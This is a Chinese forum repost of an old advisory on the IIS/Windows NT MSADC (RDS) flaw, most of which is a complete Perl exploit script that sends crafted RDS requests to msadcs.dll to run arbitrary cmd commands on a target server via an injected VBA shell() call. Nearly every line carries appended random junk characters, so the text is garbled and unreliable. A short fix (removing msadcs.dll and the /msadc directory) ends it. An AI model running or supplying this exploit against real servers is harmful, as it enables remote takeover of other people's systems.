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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) X~H ~k1  
$?dAO}f3O)  
涉及程序: wl*"Vagb  
Microsoft NT server $oJ)W@>  
F$;vPAxbK"  
描述: 0%m}tfQ5  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 vE9M2[TJA  
 F%}0q&  
详细: p PF]&:&-b  
如果你没有时间读详细内容的话,就删除: l9 K 3E<g  
c:\Program Files\Common Files\System\Msadc\msadcs.dll <IX)D `mf  
有关的安全问题就没有了。 }-e  
~[|zf*ZISG  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 jv"^_1  
V&' :S{i  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 =Wl*.%1 b  
关于利用ODBC远程漏洞的描述,请参看: SSS)bv8m  
Fe4QWB6\U  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm >/kwy2  
7= o2$  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 4/Vy@h"A3  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp hKT]M[Pv  
N'#Lb0`B  
这里不再论述。 CD]2a@j {  
=h083|y>  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 'pUJlPGx  
6iozb~!Rr  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset WF6'mg^^?  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! sF/X#GG-  
"/EE$eU  
*L%i-Wg"  
#将下面这段保存为txt文件,然后: "perl -x 文件名" B>^5h?(lt  
+UK".  
#!perl )A`Zgg'L7D  
# ]Tje6i F  
# MSADC/RDS 'usage' (aka exploit) script yxECK&&P0#  
# ) OqQz7'  
# by rain.forest.puppy -*?Y4}mK  
# I) $of9   
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me )P{I<TBI;  
# beta test and find errors! 5>XrNc91  
&zCqF=/9U  
use Socket; use Getopt::Std; 4b"%171  
getopts("e:vd:h:XR", \%args); C~2/ 5  
[":[\D'  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; :qx>P_&y}z  
Z66b>.<8  
if (!defined $args{h} && !defined $args{R}) { [7gyF}*;  
print qq~ M!=WBw8Y]a  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Kb_R "b3v  
-h <host> = host you want to scan (ip or domain) gc'C"(TO(  
-d <seconds> = delay between calls, default 1 second 4{'0-7}  
-X = dump Index Server path table, if available ^ ExA  
-v = verbose [\hk_(}  
-e = external dictionary file for step 5 *>=vSRL0_  
/S]W< 8d  
Or a -R will resume a command session 2u[:3K-@,  
"EoC7 1  
~; exit;} 62BJ;/ ]  
}OeEv@^  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; dYg}qad5:  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} L`i#yXR  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} q2I;Ly\3o  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); )P^5L<q>|  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} (8!#<$  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } iL-I#"qT,  
eJMD8#  
if (!defined $args{R}){ $ret = &has_msadc; E)Z$7;N0x  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ~&/|J)}  
26fm }QV  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Fr%LV#Q  
. "cmd /c "; &`a$n2ycy  
$in=<STDIN>; chomp $in; w8t,?dY  
$command="cmd /c " . $in ; LzEAA{  
lu^ c^p;  
if (defined $args{R}) {&load; exit;} {&Kq/sRz  
5 zlgmCGow  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; guC/eSxv  
&try_btcustmr; 9T47U; _)  
4#5w^  
print "\nStep 2: Trying to make our own DSN..."; n9;+RhxA  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; UarU.~Uqi  
^n@.  
print "\nStep 3: Trying known DSNs..."; 2`#jw)dM;}  
&known_dsn; $'f<4  
bQ-5uFe~$B  
print "\nStep 4: Trying known .mdbs..."; }b9#.H9  
&known_mdb; YyX/:1 sg>  
\TG!M]D:  
if (defined $args{e}){ ]E66'  
print "\nStep 5: Trying dictionary of DSN names..."; A9! gww  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } , #yE#8  
R v9?<]  
print "Sorry Charley...maybe next time?\n"; a;Ic!:L  
exit; {~ yj]+Im  
PUB|XgQDY:  
############################################################################## r}i<cyL  
%$j)?e  
sub sendraw { # ripped and modded from whisker EXDtVa Ot  
sleep($delay); # it's a DoS on the server! At least on mine... j%iz>  
my ($pstr)=@_; dbkccO}WB  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || %3e}YQe)  
die("Socket problems\n"); \ ?[#>L4  
if(connect(S,pack "SnA4x8",2,80,$target)){ 3,j)PKf ;  
select(S); $|=1;  M/5e4b  
print $pstr; my @in=<S>; 4#uWj ?u  
select(STDOUT); close(S); PsDks3cG  
return @in; ?)#dP8n  
} else { die("Can't connect...\n"); }} b 2n.v.$G  
p\o=fcH%E  
############################################################################## W[o~AbU  
pmyHto"  
sub make_header { # make the HTTP request J/j1Yf'9  
my $msadc=<<EOT 09"C&X~  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 e{/(NtKf  
User-Agent: ACTIVEDATA p.q :vI$J  
Host: $ip B]< 6\Z?=  
Content-Length: $clen nnmn@t(%r  
Connection: Keep-Alive w:Fi 2aJ  
8uoFV=bj\  
ADCClientVersion:01.06 c,KT1me  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 YzU(U_g$  
;YxQo o >  
--!ADM!ROX!YOUR!WORLD! v*5n$UFV  
Content-Type: application/x-varg W|@EKE.k  
Content-Length: $reqlen (US]e un  
OpY2Z7_  
EOT %R5APMg1  
; $msadc=~s/\n/\r\n/g; n.C.th >Y1  
return $msadc;} =+q9R`!L]  
BVxg=7%St  
############################################################################## }cyHR1K  
#Nxk3He]8  
sub make_req { # make the RDS request 2O {@W +Mt  
my ($switch, $p1, $p2)=@_; @FL?,_,Y{  
my $req=""; my $t1, $t2, $query, $dsn; XOO!jnQu  
vm)&WEL!  
if ($switch==1){ # this is the btcustmr.mdb query |XxA Fje  
$query="Select * from Customers where City=" . make_shell(); 9Y 1&SEsNX  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . QthHQA  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} y3$i?}?A  
:W,6zv(..u  
elsif ($switch==2){ # this is general make table query M#on-[  
$query="create table AZZ (B int, C varchar(10))"; qUSImgg  
$dsn="$p1";} v$"#9oh  
V\@h<%{^%7  
elsif ($switch==3){ # this is general exploit table query z 8M^TV  
$query="select * from AZZ where C=" . make_shell(); \4I1wdd|^  
$dsn="$p1";} 9iWDEk  
$j^Jj  
elsif ($switch==4){ # attempt to hork file info from index server goi.'8M|/b  
$query="select path from scope()"; (,PO(  
$dsn="Provider=MSIDXS;";} JxI}#iA  
L,.Ae i9  
elsif ($switch==5){ # bad query .MuS"R{y  
$query="select"; 1?"vKm  
$dsn="$p1";} Eom|*2vWIC  
`CW8Wj  
$t1= make_unicode($query); !<]%V]5[_  
$t2= make_unicode($dsn);  W-@A  
$req = "\x02\x00\x03\x00"; !!_K|}QOE  
$req.= "\x08\x00" . pack ("S1", length($t1)); ?yzhk7j7  
$req.= "\x00\x00" . $t1 ; ,St#/tu  
$req.= "\x08\x00" . pack ("S1", length($t2)); ^AMcZ6!\  
$req.= "\x00\x00" . $t2 ; qSj2=dlW  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; _*6nTSL  
return $req;} r_T\%  
}% JLwN  
############################################################################## +T=Z!2L  
Z}.N4 /  
sub make_shell { # this makes the shell() statement ,"  
return "'|shell(\"$command\")|'";} jdQ`Y+BC  
-,Cx|Nl  
############################################################################## 9_[TYzpB!  
}6.R.*Imz  
sub make_unicode { # quick little function to convert to unicode :kqJ~  
my ($in)=@_; my $out; Dna0M0   
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } $"C]y$}  
return $out;} bLGgu#  
r#*kx#"  
############################################################################## oabc=N!7r  
{bL6%._C  
sub rdo_success { # checks for RDO return success (this is kludge) ,Cj1S7GFR  
my (@in) = @_; my $base=content_start(@in); q5?g/-_0[  
if($in[$base]=~/multipart\/mixed/){ tYiK#N7  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} w"$CV@AJ  
return 0;} R6] /g  
,xB&{ J  
############################################################################## d7qY(!&  
:L&Bbw(  
sub make_dsn { # this makes a DSN for us Ojq>4=Z\  
my @drives=("c","d","e","f"); uQWJ7Xm  
print "\nMaking DSN: "; `C`CU?D  
foreach $drive (@drives) { oEU %"  
print "$drive: "; W$ #FM$U  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . KZzOs9 s  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" }rsD$  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); MPA<?  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; s;X"E =  
return 0 if $2 eq "404"; # not found/doesn't exist )Y RVy  
if($2 eq "200") { esx<feP)\  
foreach $line (@results) { eX7Ev'(H  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} }9t$Cs%  
} return 0;} IBb3A  
Q.#@xaX'{`  
############################################################################## ibex:W^  
d*Dq=.F(  
sub verify_exists { f:\jPkf'  
my ($page)=@_; Rv ?G o2  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 5i7,s  
return $results[0];} "0 \U>h  
ct=|y(_  
############################################################################## 7(^<Z5@  
G!T)V2y  
sub try_btcustmr { RVy8%[Gcq  
my @drives=("c","d","e","f"); bwUsE U 0  
my @dirs=("winnt","winnt35","winnt351","win","windows"); +Sv`23G@  
!OekN,6  
foreach $dir (@dirs) { TAl py$  
print "$dir -> "; # fun status so you can see progress pa Uh+"y>  
foreach $drive (@drives) { |Y|{9Osus  
print "$drive: "; # ditto B;Ab`UX#t  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; k1i*1Tc  
$reqlenlen=length( "$reqlen" ); y562g`"U  
$clen= 206 + $reqlenlen + $reqlen; Bx0^?>  
qyGVyi3  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); Kf2*|ZHj  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} Um]>B`."wK  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} u& ?J+  
]78I  
############################################################################## QgO@oV*S  
{^>m3  
sub odbc_error { ZdeRLX  
my (@in)=@_; my $base; %h 6?/  
my $base = content_start(@in); )Xg,;^  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this zI8Q "b  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ."l@aE=|  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; dbSIC[q  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; I \zM\^S>]  
return $in[$base+4].$in[$base+5].$in[$base+6];} yZ)GP!cM4c  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; `YAqR?Xj_<  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . %50}oD@  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} j!GJ$yd=-6  
a{^[<  
############################################################################## > n Y<J  
o{pQDI {R  
sub verbose { eG9tn{  
my ($in)=@_; HE(|x 1C)j  
return if !$verbose; dN\Byl(6  
print STDOUT "\n$in\n";} wQWokpP;T7  
4_3Jpz*  
############################################################################## > xkl7D  
^%-$8sV  
sub save { DhV($&*M  
my ($p1, $p2, $p3, $p4)=@_; su/l'p'  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; )Y}t~ Zfx  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; SLpB$puS  
close OUT;} $r*7)/  
LOpn PH`  
############################################################################## qEPvV  
yjvzA|(YC  
sub load { A#M#JI-Y  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; p#hs8xz  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); N~ _GJw@  
@p=<IN>; close(IN); &!]$#  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); xu(5U`K  
$target= inet_aton($ip) || die("inet_aton problems"); L0ig%  
print "Resuming to $ip ..."; F2]v]]F!  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; K#H}=Y A  
if($p[1]==1) { M 8a^yoZn  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; lrB@n?hk  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; f1(V~{N,+  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); c<L^ 1,G2  
if (rdo_success(@results)){print "Success!\n";} {[hH: \  
else { print "failed\n"; verbose(odbc_error(@results));}} j*n Z   
elsif ($p[1]==3){ 8PB(<|}u  
if(run_query("$p[3]")){ _'0HkT{I  
print "Success!\n";} else { print "failed\n"; }} z(d@!Cd  
elsif ($p[1]==4){ >J^bs &j  
if(run_query($drvst . "$p[3]")){ ,$EM3   
print "Success!\n"; } else { print "failed\n"; }} >[B}eS>  
exit;} ZQ9!k* ^  
K)~ m{  
############################################################################## vBx*bZ  
Ke '?  
sub create_table { rCi7q]_  
my ($in)=@_; 34k<7X`I  
$reqlen=length( make_req(2,$in,"") ) - 28; 8M*[RlUJB  
$reqlenlen=length( "$reqlen" ); ]+;1)  
$clen= 206 + $reqlenlen + $reqlen; J * $u  
my @results=sendraw(make_header() . make_req(2,$in,"")); CdgZq\  
return 1 if rdo_success(@results); 1OK,r`   
my $temp= odbc_error(@results); verbose($temp); <DP_`[+C  
return 1 if $temp=~/Table 'AZZ' already exists/; EGL1[7It`  
return 0;} ojU:RRr4l$  
/2pf*\u  
############################################################################## E</Um M+ R  
e^Q$Tog<  
sub known_dsn { y`wTw/5N  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go >;kCcfS3ct  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", L ?g|:  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", #\KSv Z  
"banner", "banners", "ads", "ADCDemo", "ADCTest");  hX?L/yf  
!cPiH6eO  
foreach $dSn (@dsns) { < gB>j\:  
print "."; @-nCK Yj  
next if (!is_access("DSN=$dSn"));  98eiYh  
if(create_table("DSN=$dSn")){ 8 P85qa@w  
print "$dSn successful\n"; 4zs1BiMG  
if(run_query("DSN=$dSn")){ x*& OvI/o  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { RQ}(}|1+\  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 0KO_bF#EB=  
*c4uCI:0t  
############################################################################## gQ4Q h;  
La9v97H:  
sub is_access { 8aZuI|z  
my ($in)=@_; *t J+!1  
$reqlen=length( make_req(5,$in,"") ) - 28; __r]@hY   
$reqlenlen=length( "$reqlen" ); |&B.YLx  
$clen= 206 + $reqlenlen + $reqlen; T`KH7y|bv  
my @results=sendraw(make_header() . make_req(5,$in,"")); YYU Di@K  
my $temp= odbc_error(@results); <jE6ye(R  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); l[lUmE  
return 0;} yPrp:%PS  
UOHU 1.3$T  
############################################################################## ss63/   
O 4@sN=o  
sub run_query { E;$)Oz  
my ($in)=@_; >y)(M(o  
$reqlen=length( make_req(3,$in,"") ) - 28; 7_C;-  
$reqlenlen=length( "$reqlen" ); qYv/" 1  
$clen= 206 + $reqlenlen + $reqlen; *5Upb,* *  
my @results=sendraw(make_header() . make_req(3,$in,"")); T.O^40y  
return 1 if rdo_success(@results); ',j'Hf  
my $temp= odbc_error(@results); verbose($temp); wr{03mQHxp  
return 0;} 48dIh\TH"  
Kk+IUs  
############################################################################## ;ZZ%(P=-  
hV|pH)Nu{  
sub known_mdb { Bv_C *vW  
my @drives=("c","d","e","f","g"); Y)^qF)v,d  
my @dirs=("winnt","winnt35","winnt351","win","windows"); RNGTSz  
my $dir, $drive, $mdb; WGjT06a\  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; rB|Mp!g%@  
meunAEe  
# this is sparse, because I don't know of many {;0j9rr  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 'WK}T)o  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", Gc2sY 0  
"\\system32\\certmdb.mdb", S!Ue+jW  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% {|?OKCG{  
vWY}+#  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", BE. v+'c"  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Jcf'Zw"\  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", vRa|lGeW  
"\\cfusion\\cfapps\\security\\realm_.mdb", IPmSkK  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", C{>@b:]p  
"\\cfusion\\database\\cfexamples.mdb", 4]9+   
"\\cfusion\\database\\cfsnippets.mdb", nB"r<?n<  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ]jiM  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", YVt#( jl  
"\\cfusion\\brighttiger\\database\\cleam.mdb", @s!9 T  
"\\cfusion\\database\\smpolicy.mdb", Kn3qq  
"\\cfusion\\database\cypress.mdb", <"w;:Zs  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", V\^rs41$;  
"\\website\\cgi-win\\dbsample.mdb", /.<%y 8v  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", D>M a3g  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" e^kccz2f  
); #these are just 4DI.R K9  
foreach $drive (@drives) { ' 7G'R  
foreach $dir (@dirs){ <,p|3p3  
foreach $mdb (@sysmdbs) { *O-1zIlp  
print "."; bOjvrg;Sz\  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ Poy ]5:.  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; o`S|  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ UwOZBF<  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; .,zrr&Po  
} else { print "Something's borked. Use verbose next time\n"; }}}}} yoa"21E$  
xLX<. z!r  
foreach $drive (@drives) { (dD+?ZOO  
foreach $mdb (@mdbs) { #(& ! ^X3  
print "."; usEd p  
if(create_table($drv . $drive . $dir . $mdb)){ gQaBQq9  
print "\n" . $drive . $dir . $mdb . " successful\n"; 9EzXf+f  
if(run_query($drv . $drive . $dir . $mdb)){ P5s'cPX  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; J'^H@L/E  
} else { print "Something's borked. Use verbose next time\n"; }}}} "?EoYF_  
} i? 5jl&30  
xCwd*lsM  
############################################################################## +F3@-A  
(t'hWS  
sub hork_idx { ,jJ&x7ra8  
print "\nAttempting to dump Index Server tables...\n"; B:S/ ?v  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; [1Pw2MC<  
$reqlen=length( make_req(4,"","") ) - 28; &LM@_P"T  
$reqlenlen=length( "$reqlen" ); r&sm&4)p-5  
$clen= 206 + $reqlenlen + $reqlen; x95[*[  
my @results=sendraw2(make_header() . make_req(4,"","")); t mAj  
if (rdo_success(@results)){ g a|RW0  
my $max=@results; my $c; my %d; 3YT>3f!\  
for($c=19; $c<$max; $c++){ o C0K!{R*  
$results[$c]=~s/\x00//g; [=*c8  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 's]I:06A  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; l H:Y8j  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; gwE#,OY*  
$d{"$1$2"}="";} WE\@ArY>  
foreach $c (keys %d){ print "$c\n"; } ?U'c;*O-  
} else {print "Index server doesn't seem to be installed.\n"; }} pN# \  
S*;8z}5<\  
############################################################################## x +Vp&  
1SIhW:C  
sub dsn_dict { }T=0]u4,  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); S9kagiFX\  
while(<IN>){ 8a{S*  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; BeP]M1\?>  
next if (!is_access("DSN=$dSn")); 4AdZN5  
if(create_table("DSN=$dSn")){ =^ur@E  
print "$dSn successful\n"; :m*r( i3  
if(run_query("DSN=$dSn")){ k( l  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { MT{7I"  
print "Something's borked. Use verbose next time\n";}}} d*3;6ZLy  
print "\n"; close(IN);} tlhYk=yq  
"e]1|~  
############################################################################## mlC_E)Ed5  
IG@.WsM_  
sub sendraw2 { # ripped and modded from whisker 7A0D[?^xe  
sleep($delay); # it's a DoS on the server! At least on mine... m(Ghe2T:  
my ($pstr)=@_; #B7_5y^  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || qOaI4JP@  
die("Socket problems\n"); _  dFZR  
if(connect(S,pack "SnA4x8",2,80,$target)){ o&45y&  
print "Connected. Getting data"; 7"}<J7"})  
open(OUT,">raw.out"); my @in; +~~FfIzf#  
select(S); $|=1; print $pstr; HPl'u'.Hg  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} !V|i\O|Q2  
close(OUT); select(STDOUT); close(S); return @in; UeNa  
} else { die("Can't connect...\n"); }} SF$'$6x}  
H}m%=?y@  
############################################################################## E}eu]2=nU}  
y9W6e "  
sub content_start { # this will take in the server headers l)y$c}U  
my (@in)=@_; my $c; t(3<w)r2  
for ($c=1;$c<500;$c++) { dH4wyd`  
if($in[$c] =~/^\x0d\x0a/){ xXG-yh  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ul[edp_  
else { return $c+1; }}} 5IOMc 4v  
return -1;} # it should never get here actually 'r`#u@TTZ  
{m1=#*  
##############################################################################  CZ&VP%  
72rnMHq  
sub funky { xj 6ht/qq  
my (@in)=@_; my $error=odbc_error(@in); 'iy &%?  
if($error=~/ADO could not find the specified provider/){ c_$9z>$  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; gG"W~O)yv  
exit;} 4w p5ghe  
if($error=~/A Handler is required/){ D)C^'/8q  
print "\nServer has custom handler filters (they most likely are patched)\n"; &8VB{S>r  
exit;} b[+G+V   
if($error=~/specified Handler has denied Access/){ ^7Sk`V  
print "\nServer has custom handler filters (they most likely are patched)\n"; [k~V77w 14  
exit;}} R5 O{;/w  
>KF1]/y<  
############################################################################## *n9t~t6GHg  
so[i"ZM)  
sub has_msadc { pfd||Z  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); {}F?eI  
my $base=content_start(@results); .hI3Uv8[  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); Yphru"\$  
return 0;} 1rs`|iX5  
nNbOq[  
######################## RmXC ^VQ  
"#7~}Z B  
d=<"sHO  
解决方案: E,"?RbG  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 3`y9V2&b  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ! Jh/M^  
_Wcr'*7  
拿出来充数 哈哈
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